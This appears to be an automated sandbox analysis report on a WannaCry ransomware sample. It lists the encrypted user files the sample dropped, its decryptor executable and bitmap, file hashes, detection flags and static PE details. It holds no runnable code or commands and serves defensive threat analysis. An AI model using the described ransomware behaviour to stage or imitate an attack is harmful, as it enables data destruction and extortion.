                                                                                                                        Preview:WANACRY!......&...{.1.?.1QH2.Y..FP.7H..\....Q..4.,.m...]..;...W...;.P...~l....>.<....Pd7B..W....%..<..!:S....Bl.^oT.....qS.*K.[%0|....!}C.1...C.U.Uh..J.[...&].....(C~<(..!S......S.V.....>;...<r.Y!.....>.c}ka3*...G.|...T..^~I..V....D.g.2x..J.[..S..d.<.-N.d............{a.}@u+..............-r.1;$.nC.ur...U.q....f.<.~w..1nW.._..h.b......=..u.T..7.sh[r!W:.{o...nhWHi".J..P.....f........b..;|.......C..a..FA.+G.?O0.J..t..$...T...>.7..kS...U...^.....|.....A.+..%=...LQ...9.w.8.....(H"...?...p.E..9@..D....#.l..@n.a.l..h...h...KG.f..1u...5G....6.jk[.i@....mv.....~....1`u...v...0..I..[d.,.....~.........~.g...3.'P$...L..a..>..2..y?..u......E.02#..}. .Wo.aDT..4. ...(...........V.2...ckdD.e.(.......QI.*A..........1.I....S|.H......j\.....(s...)%|.9G....B0r...m.....+.)...5....OG.....F..L=..H....].fIiSw..,..W...K..V...Kt.....d.%B.T.......".sWH*. ...w...7SC.?....Y...."-.`.hZrJ....yX..<?..?.......f..1Emm..]...\0...Z..h.?...m8....]...S.........6.VR..6=x.s.Id3W..

                                                                                                                        C:\Users\user\Downloads\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8091964591953085
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9+c7sqIlFT5P9TofMS7mR18LQ1B0YfrQvQOtBtO9SED/+MwyxA:bklg/lTo48EvuED2L4A
                                                                                                                        MD5:FD4370F223909513668E2AEAD6571DFB
                                                                                                                        SHA1:94DB879631F33ECD12169A145379F8936465EF98
                                                                                                                        SHA-256:F0D7C72D143DA9373AC297E6C64B219AD8803809FD4A2B2ED2C004BDFB06ED37
                                                                                                                        SHA-512:586CAC1010345999363B0227AB6AEFE78CCE0BBCDC51904C252B611D66C68A891FBEC119A43F1E9E85552230DE9C8B39DC3AE3F02640FC76C482164A47139584
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....'....Y-%48..7..q...j..C,.)~.f....-~O.e.....p.T.K.8.}.....I...G..'..E...93=.+#.E.O....&..&...../.......Y..M.+..w....R......I./:......v.C.\3b....p;PZn.`.Bd.]h=:POo[T..I{........=.....T..-6(m...?6.k(..D.Z.t...L......#.H.....:>...}!:.#..?..b..2&*.............h...-?Qjj..~......ab....@.[...."6Wns.......=....l...[/..hm...o/.v.,...=4.0..(...R..X.....uh...}.[F...=...<.8...aSZoB>...l..>.. 59v..6.cl...Kr..B4@.....L..F.^.*...T|..v..=.(s...az.......-.@....&.o......'Hx*...`....D.B8....u...E."U.]...e......F`.U}G.A.hi.M..y..y..].?C=.7...%1^..:[.w...fT.%...q....%...44..&.........x..1(6.&...m2T8...E..A...(...........=.n.U.L..4.W...x..S....94...H......[.r..?....!..x....>...2..W.+T...x.`.Io..4xL.^.:.4j.g.r..d.}.......I./..U:...bei.q.y...PziI....m..|qB...)d..w0..A.)X..j.!..3_..nU..,8.F.R.F.[HY.DQ?0.F....&.~6.*.#......>\.=.US.e.a.....h...Rug.....P...Z.JP..@ .........Q4~..\Bd......3...RJ..(.cR).Q.z.I.M..Ps..C.]..Vu>.s.~..Y...).Lw.9..s...IU..T.].C

                                                                                                                        C:\Users\user\Downloads\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8549435486074195
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzxEDEiwLFwkKKcpAgLJBEDSRvuPcLgFXpIcyKm3QDBHKDZfZBoFeE:bkz+EiuwkKn3LJBED6uPcLk0K5DBqdfK
                                                                                                                        MD5:833AC7AAF96301BFF32FA51EEA11C4FB
                                                                                                                        SHA1:920D7CA897118E97F2947B41ABF87EF863FB9171
                                                                                                                        SHA-256:A34C26B803FB270AC3F71EEDC63C9897DA51BF908CEB40F760871E1745450F0A
                                                                                                                        SHA-512:E1E82BEEB269DF067F102FEDA561F0F330FABCCE2B85E243FC884392FA8D96126F63FE39B072449D410417A37020DE61C08C1F0368ADC38AC75DE13138205B72
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........|.....j..H.!..G.k..W...C...5..1..&....p.......C ...T..".k.......n.Y..u-.N..?...Ic..C".(......".U.u..x.0.1L.........B..../....k_6.}+..E[m..o...=y.q..|7..)...0.W.!".uy..`Df.....m.Y.?y5.d..V..F...JU..~.4../.I^....ij.Xv...8.._.).6.... .r.............F...r.j.p..`a..1..u.i.)...Z.J.M...x....B.U.x.......I..:g.T~...k.m...83P.;.Y..._.K...;..aJ9..1.9..}.< =.JA<kMx..6.I.F\.W.....K...)8.G..X..0.H7/0.U...!.2s7.V./...9./..3..;.\R.Fr..97sf.~..E...f(..*..U.C._u....iv..V[...dX.z.5r.x+0.*..pb3==.._l..D..M..6..B..`@.<....Y.E..`.f.#q....,....Q...0.E......,.~)}R..US.q.q<...|.)#[X...K.64.#.'2....(...|.....'...+E=i\...._..!O.0g....)M.....G......~...!....[_. .._.;...M.UTH.....}...+O.&....2.j..QH.y.(#..X.T.%*&.Z'"?.WS....T.W.eO4....)..we..a..ia...L..n%...WS..L^................,q.8c..u/......r.<.NF...CjA.m....lo......j.EGB..FW.w.s.`..If<S..7.)hn.....m.....O.c2.../....!.u....V..VKI..#/..p7......F..R.l..Y.......MF.n$1,w.@...P......@..l.m.(7P.PRhl..C.:

                                                                                                                        C:\Users\user\Downloads\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.827435064558081
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk9t/T77gyl5w65E6iQiTKue7r8ZDjl84MM1N/8hafjJfWL+IeIwNX+P9Gc:bk9t777PzwUiTEoRR84MMPv9uyzIfFf
                                                                                                                        MD5:80A06DC1C1B72C5F02FB8102C6DAE6F6
                                                                                                                        SHA1:3A6BD396912145480B56541A03DB0021FEFAE09F
                                                                                                                        SHA-256:147BCCCAF7A2901B6C0FD004671FD966D9CB43FCF66E400DD43C71D7555B804D
                                                                                                                        SHA-512:A32A1ABDD896F63A8FF97C69EF57EF1F86DEB6B7DB20498D240401B5044D8D68148BC0ADE685DB7F42639DD09B451E04CAAA9EE3A4CB4AB24B583D37C66B5997
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....h.g..b'..X.t....opZ..u..h.5.QR+r.DY#.fJ0.........i....S>......lRlrg..}v.cC.../..I......[....P.d.y..././eR..s............{7. ..H.k.>:....#[I..-.1....R.l.\YFk.....]qQ...K.;...{+b+.e6L.c%..t.............q&MAl~s<v..'!...9..u.q.I..P..o.^.&_:..<............V....o.dF ..m{.{g..+..B.....z.....((PE.Z.lo..).RD..c.....af.4R.V.N.R...g..=w@|.&+(.}p.E.\..ND...=..!..1.?...........p.pk....YA..X.i.....\ W.0....'......-._8..jH...Q.Nd+.jS..Xw.GK.&.g..'F.#....+.e.>...=.fJ..Q.[.^...].......A/..|....W].H/l".Q...5.X.%r.. J.....p.@..[.....r.......y.xmZ.)`...@.......j...=.J.(.%.2@........o.L.f.QF........`.`..m...xn..y..........q..;I.xe)......p..X8..A..cm(......R.;Mo...x3.|...!.%a)..2.p...L(er....P...8i.H.Y..t.].<..%......f+.h..:|.....I_.t(w..r......]~LS.o...Az..0h..#....':.n.Sc......~4t.F.../.......B\.(M6.".{.. $..qRP..2..#.S!.k..&0-L.S..." 6].O....H%..d......=N..l#.%Sf...=.........[x.......dP....."FZn...f......P.n..-...s...L...dj............O

                                                                                                                        C:\Users\user\Downloads\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.825192225569219
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkMFCaFRo3iOtW25ZsTgIH4bzOqdfxCKQl9Y9REYos6B1lnoBt:bkMUaFO3bDZ4gIHWZxCJ4Grtfxc
                                                                                                                        MD5:469BCF3C18411036354EA8E201A4917D
                                                                                                                        SHA1:AB7D724733EEC085999E644665571A90B181B11C
                                                                                                                        SHA-256:444384F5FE945F5651BA23273372E1CFAFA618F05EB7470257B6BCD44D83B7F3
                                                                                                                        SHA-512:A5A37D4ACF7AA9E2BB4454B47F91033BF399EE716FC0F320B26EFBFB1311EE62E79BCD8B9CCE21C9099C166002D5C13C5E7DBBFDF6C7414650226937BD1C5F80
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....3..O.......R........a..R{?...^...dm..).....`....`e.....w..+%.(.].q...`.....ur.......0...XE......2....ncm9.......8..z......<...V......]0mh......H}7R\.....e..$..@./"....[4JN.aA..J.*...UP..^..H:.p|d....V.....0...\.Pv%.O.[&p.`...G$..NcA.5Y...Gs$qu;sb.............R...x...N....^.c..F..{8N..00...9..9.QSQv.1b..B...]..{..[0..tV[...J.Hx..?k........W..p.Pv..[(u...,.........?<9....*7]......B...}...........mGIQ.z.....}../.*{..|....Q../I..!..S.2.VG.[P...`&....v>\B..c.zS..p..>;,&...j.....\....d.^g..g..V.v.............C..miv.;.Ly...L..0.....`...e..D...W...e......RzA.mf$....F..O........|pE$I..e.O......xGnp;..a$.S......:.}.H.....HBpy.....%...yI.8..P.I..k.......T))5.$Yj..S...2....m/]....._.Q6ky....Y.x...j.z;.)..........T....*8.}.6|K..j.6).|....d.)..7,v.....f_.;.^O....]F_...J....U)z.}WEx,k.v..i....fh.8.pLAJJj.c.Y...v...$B6_0+.~.....\ybW...-.i..(.I....j..VE..XHx....`.U...A..\....y7t.=w/.&..*.WG&.....+..5.F.N9.-.O..F..w...W-(.z.......=Ix....g?Z.q...P.,$T

                                                                                                                        C:\Users\user\Downloads\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.832456688217508
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkbou0n2WI2V/WSCJv09vaIWSthbHoJD4irbFTfeUnZ7gjcuFMz9ylgBjB7kekBf:bkbbUMvp1OhbIx9nZUjc+Mz9/jNXy7Uo
                                                                                                                        MD5:4E7A31419B681B897911E30B7957ECB7
                                                                                                                        SHA1:5C839C725262F66A90B202F6AACEB3D5AE835FF2
                                                                                                                        SHA-256:76583927C9AF0268AD3DEF43EFBE7220BC7147F6DA788FE48B3F3931B0A7DFA0
                                                                                                                        SHA-512:2B53DABCC8A18C2482F6A7F93D8CCB2619EB91BC14CD4F4906A284E5F701C4D3E42B4E4323DB2BA64EA80D122566132BA5621EE9063618871FDAA1A59E9A7276
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....L>V...<.j...8....t....Lmc).*6.b.G>..;.1......P....k.....ut..QF:.0.....'}qx....b.=.:.0..M..q....l....es...S.m....N../.j9.....n.n\....U...|...$.a..R.~...a(.sd3.k.Y.....a.H.....0..\.......??H............08.Q..N.......M<H..q.....^.@...rf..2...4..............:m....S.E..hb..+.K+.w.Xe..L...&..$,.;.w........'.]..]t.G....a.V..8.O..GsSu...E...f0..X..+c...~..C\T.....l.[...~.9i...0.....b|.V.cD.z5......`U...JD./.....4.7......X....O...*y...[.tRV.`.2...e.^..~s.&@.^....K....fCa.9m9OD>:..v.G|]-..3Lww.Y.v,..`K..C......$Q....F..N.I..H.)....3...iD.Cd_ACn.a..(l.D ..........(;V.8Zn.A.t...+jk..yE..l.j...I!....3..y.x.... Bw...c|.~. ........M.K...._...*.]2N.*X.;.....H.........=i.T...C.][.-..]..G,.r...4K..P....T..'l...x..!.......x...f...P....Ao..r.b.){2(......W)*..(Y...w.l......Q#?o..Q.I..........@..2s....RV....$V...~...).N..6.Ki:..F.Vo..ehXg..Ib..7...i.....B...h......!Q.KJtP.T..Q%.F..b.<x..f.o2;..I...d.Z.m."..j..;.......p'(.<......#.j..(.[6M..

                                                                                                                        C:\Users\user\Downloads\ZTGJILHXQB.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.866350770810491
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkTMoGnr2YKbNI5hp565GgJakPGiPif2kkOn7sh3LrWL+0xY4s26B/n:bkLhbGJ56566i27EYtL90xnqn
                                                                                                                        MD5:6347CDBD19500562D9A6C52A353BC9CC
                                                                                                                        SHA1:8B04C3434A08BCB4FF349195CD832BEC3B3AB119
                                                                                                                        SHA-256:E48941034F10847523D564840404F3BD630124E2010722EEC61EF35EB7E37B60
                                                                                                                        SHA-512:9402428385ECCEE5EA3CFBD9F8458452C7187DAD30460163A35D21F778DA066EC7D667273502B145BC8E436A484BCD274D7373CB4AE76E05AF0A7AD8F0A23245
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....=...H..vT..T.....=.&#....h.B.e3"...<A...o........D......F.;.3.....w9Hm/VA.w...}5.by..F...zc.;......[)..'7..Lg..A..9.n2...}..m...zS1....$....`...;.V....!...i3...8.(.F..V@...i......5.........$(Q.P.#F...F./..O.F:..${r"...<......=|.U..L....b...in.............C.I.n.O.!..AC-.-....5..4AO.)RP.....:.....fQ..|...Ge*8+..L`.d`w.....X...E..>.....~..'...6..."]8..I.......g.1UV...V*".`.....+/.e.&~...A.......b.(..;.s..+.f.7C=y..`p~.....a.@.>...Ms..ec".......K.t.R.p.u(Ay.@..U.mR.&Y............`<.k.e..bv{b1...D..H.0N.~..6Gy.Y....{..<gk...)........x_z.....|\s*..2.......^#.".X.7.....yK..w.6ku..mH........q...F.\...@.JP.%.iQ......,....~n.Q.Yo..$...S..(.U....Z.@.F'kS ?q..U.M.9.........j.Z!n2D...[6..]....(.}.._....(\2,W...6.....3.....p.#s..f.Do.z....(.5.S!..O.ME...a.K#..X.........U..dQ..l.f..=.k....C.n....L.9K.~N.[?.(E..\.........h6.`T..p...}.g..I......1.KhN...}..o.@..cJ....j._\/}...C1.Q.n.4yI..u..Cj:.zL......2.....l..f.(..H....$....M.oz.p.....h........

                                                                                                                        C:\Users\user\Downloads\ZTGJILHXQB.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839111691378563
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkcl2vAeKZ6fOCJughC0XrJXmHWNehUAb3jADUMuKkuUKEQg+HUNecf9s:bkhvAeK4mDkvXoHWchUA1MfHU0ca
                                                                                                                        MD5:0AB6DC62D3524309CA668A411F4E543B
                                                                                                                        SHA1:3837E8DE7F953A457ED0AFB21BFBE3F7B774F5BA
                                                                                                                        SHA-256:002564B3D6BD9F666A88FFEEA9A64DA9A839375FEAAC0D3522D48339CF75BEDE
                                                                                                                        SHA-512:C224A8FAC6C3B01F753171666F867F7167F9C11F43D119FCA9A7A4903CBDF98F6896EDD623B026611C5763580A205EFA179C3F38E51DEDB80030FEF0D4B4D05C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....M....;.G..uKb.8.2. .@wb)e..."O..iF.E.p...<C'N.......UH.&'d.].....t.;+W..H%3.(...(TD.;.a...Z.n.-...iZ......%..[0.b.#%E...n|.gq"...uy>.Ol../N..q...].......ouwn...^..Z<..R.Su...u.p.f..c......'..."b.b....wF...\JT.M....XA...>G.I;.#.Q'wN....../...]|E..............C.1..09.[.o..@0.$n..:......x..+N.Pq.t2..,.&!-..K.B...F0...p..S...7......~.l.A.%~......7.).......t..H..V...+o.Z......N...}....#.N._3D}.D..oq/..7........9[.).d...%.P.+...-.<o.(...C..:....#...*.A....|v.e.C.H....o...%c....H..,...u..a..3e_...Y..e.V._.. .'..3.+...e........}.$.3A.x.D...C.Z....Q.Y!.......wN.<bgBC....y.}.z.$.F9.b.-}.B.{...^.....g...P?I{..G.g.6,......q.._P.r.II..'v.?.......i.y.[...~cxGta..;5...i.\T.J...........R.I..{M.....2.9:...J..?.....S..[7.."VV.......r....hVJnW..v8./.....?.(..-I-7t..[).....<.*...a5......^.{..]Z..'.`.E#k...Dg..b...{"...Xsc&B.x...z.7.C+....G......g..... .HyY...?....J..ki".g.&a..2La.H.O9~..f..+R.p_.w..AO...e...;!..Vs.....9...tD..!.Z.J..5.#..|.*...Iu.

                                                                                                                        C:\Users\user\Downloads\eicar.com.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):360
                                                                                                                        Entropy (8bit):7.343104261859218
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEoFK2uU0cbj7XB7Et3/wClSrLbr5Mjl9AMEqO4+j64+cy4DuDFmizpbb+HLT9f:bkEQ9uUbR7e/wCMb6xz66V4+z5bWNloo
                                                                                                                        MD5:76CB8B81CE7DB32FACFFCA22BB3EACE5
                                                                                                                        SHA1:48138FD2084441A4FEC95852D80E914AF333D5D9
                                                                                                                        SHA-256:EBA13F65D00F4E4DC3DE44C2219FA84495D29E99752486C9DFA2F5113937F286
                                                                                                                        SHA-512:F004D1DD5A82FA7CAF879A9FECEB7687BA91BA118E6A53BD3E9EF73E2079A54444379087658223BE1E8FC894699422D8C43583F8276DAF445AC4846CD41749E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....q.sO.i.~..A.B.....fk.<..Y...tQ..G>.x.U..(d..j..nl...&.H%$I.p.F.V........a.s.<...q.yt.."..o...8|........T...f.....}....cK..(.../.Sj....h.;...j...9.I..K.i..s..t.....E..Mj.'y....Z.iT9.[.E........]..t#.Y.....C..q]{Q.l.G>.q..^....9...`....U..X.....D........A.*^3..&..!F....;.B.~,`.L...q....YU."'.RjZ...........].}..R...n......1o..c

                                                                                                                        C:\Users\Default\Desktop\@WanaDecryptor@.bmp

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1440054
                                                                                                                        Entropy (8bit):0.3363393123555661
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                                        MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                                        SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                                        SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                                        SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                                        Malicious:false
                                                                                                                        Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\Default\Desktop\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\Public\Desktop\@WanaDecryptor@.bmp

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1440054
                                                                                                                        Entropy (8bit):0.3363393123555661
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                                        MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                                        SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                                        SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                                        SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                                        Malicious:false
                                                                                                                        Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\Public\Desktop\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\bcd_restore(new).bat.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1416
                                                                                                                        Entropy (8bit):7.841856911582806
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkqTwwWHKvaZZZBuLAA3KVtzl2AuSOuEdzNxHeE0YwkxkC0bbUp/j6o8DyyfGnqB:bkcwRxZ15nlWF0WeCTp/el+nvEsG
                                                                                                                        MD5:DAFD1A40C7E2BD0EDF033D831B89D1CB
                                                                                                                        SHA1:828FA65DCACF3D54ABBEBE379DCDF31F1B91293F
                                                                                                                        SHA-256:5097139E78AD7F93307436203CC903541EF97B1A9AB4884CD67E84D0045F9F25
                                                                                                                        SHA-512:A4854CBB61F4D9AA11E8538CF9013B7E409EB19DDDAF51085905F8687E44B0874F0263B19CEDBD44A5ECB306673B3DC6C395D3AE5898EFCA9A7437D73BCD305F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......28j........._...j.[6..@.=T.D$.........E.K.....W..L.ir.j.r7r..E...)..F.O.Q.+..{1..R..44]*.j...^..t..W6.B.J>sWa.6.:/.....4.o..X....-...J.Bv.k..H#wG....l...~....>~..Y........".}.....@.k!#.......w+.Q.........$..g..ko....I.I.Z.*..m0...y.8.../s.3....l........q'.x..ct.8...+-.hf.....=.x...0s...c..9\....0...,H`0R.?$... ..=.....x!|.E.f...X.O.$. KY._.........F...%.q...-....9...5s H....1..s3L.Hf.|.rEy.#.wv.@U).9..A..#-kFv..7.K.a....J..r<9.v/l..MT.M. .EN..I?.Z}..K..8.;..z#...1.,M.+.S8..l.'/..[.mL.1z....o(A.]...h.V}..D.)oB.<...k..!B..d.7..B..H...$.....+...V.......?...W#.W.j...P.j....[..TgM;..m..\_...2..y.e..........E}A.....z3.. ..v#P.^.j...$A.;+....u...^^d...`......|...qy`.=).......l.....F-0<...<.LF.`;'.K..=..5~.d.2S..?.S..WE...g....E..a.......A.>.`.M{G..%...;8.,.G...d..V.....P......*.;..B..U..;.1.r..s.]...\''..-......E.l.h..|.I)...l.*.n....=4......:.a....(.......c...\>..+2...."......-.z.;...s..].d.'N..Vw..S...=..(.W............h...j.}f.K.

                                                                                                                        \Device\ConDrv

                                                                                                                        Download File
                                                                                                                        Process:C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                        File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):48
                                                                                                                        Entropy (8bit):4.305255793112395
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3:8yzGc7C1RREal:nzGtRV
                                                                                                                        MD5:6ED2062D4FB53D847335AE403B23BE62
                                                                                                                        SHA1:C3030ED2C3090594869691199F46BE7A9A12E035
                                                                                                                        SHA-256:43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
                                                                                                                        SHA-512:C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
                                                                                                                        Malicious:false
                                                                                                                        Preview:ERROR:...Description = Initialization failure...

                                                                                                                        Static File Info

                                                                                                                        General

                                                                                                                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Entropy (8bit):7.813217335973076
                                                                                                                        TrID:
                                                                                                                        • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                        • DOS Executable Generic (2002/1) 0.02%
                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                        File name:n397UdH3b5.exe
                                                                                                                        File size:4'685'824 bytes
                                                                                                                        MD5:64b26f10b6c2e7c51f0be88eb9875b78
                                                                                                                        SHA1:480053030da18b67355eb1ad499825a4a5e50d8d
                                                                                                                        SHA256:e4aa8cfc4cd8b791eaa38dbe6fd7e11bcaaafab680bd2ed7c87e38063623e941
                                                                                                                        SHA512:31c4ef6080fda4cfd511b6c9cbb517665ce67b1d28b2ae472ebe4cf2d497b8cc140eaf8f94b2d0cb47ca98111ea09a28152a5222b48d0dc8f1f4d0b672f3604c
                                                                                                                        SSDEEP:98304:3YDCMUvezG4IRgnWafOIyDMOM0c2Y9zMkjK18fAoLtx06J0HVb:3Aeve2Rg6IyDMRTtlK18Iovz0Hx
                                                                                                                        TLSH:1A2633FA9E1C8851D1FC5FB0A06BE61E91741C27FF44A07B28E8BF5A8B32151C34AD95
                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:...T...T...T...X...T..._...T.'.Z...T...^...T...P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L..

                                                                                                                        File Icon

                                                                                                                        Icon Hash:d9cfd6f2abcadc5b

                                                                                                                        Static PE Info

                                                                                                                        General

                                                                                                                        Entrypoint:0xc2ff6b
                                                                                                                        Entrypoint Section:.vmp1
                                                                                                                        Digitally signed:false
                                                                                                                        Imagebase:0x400000
                                                                                                                        Subsystem:windows gui
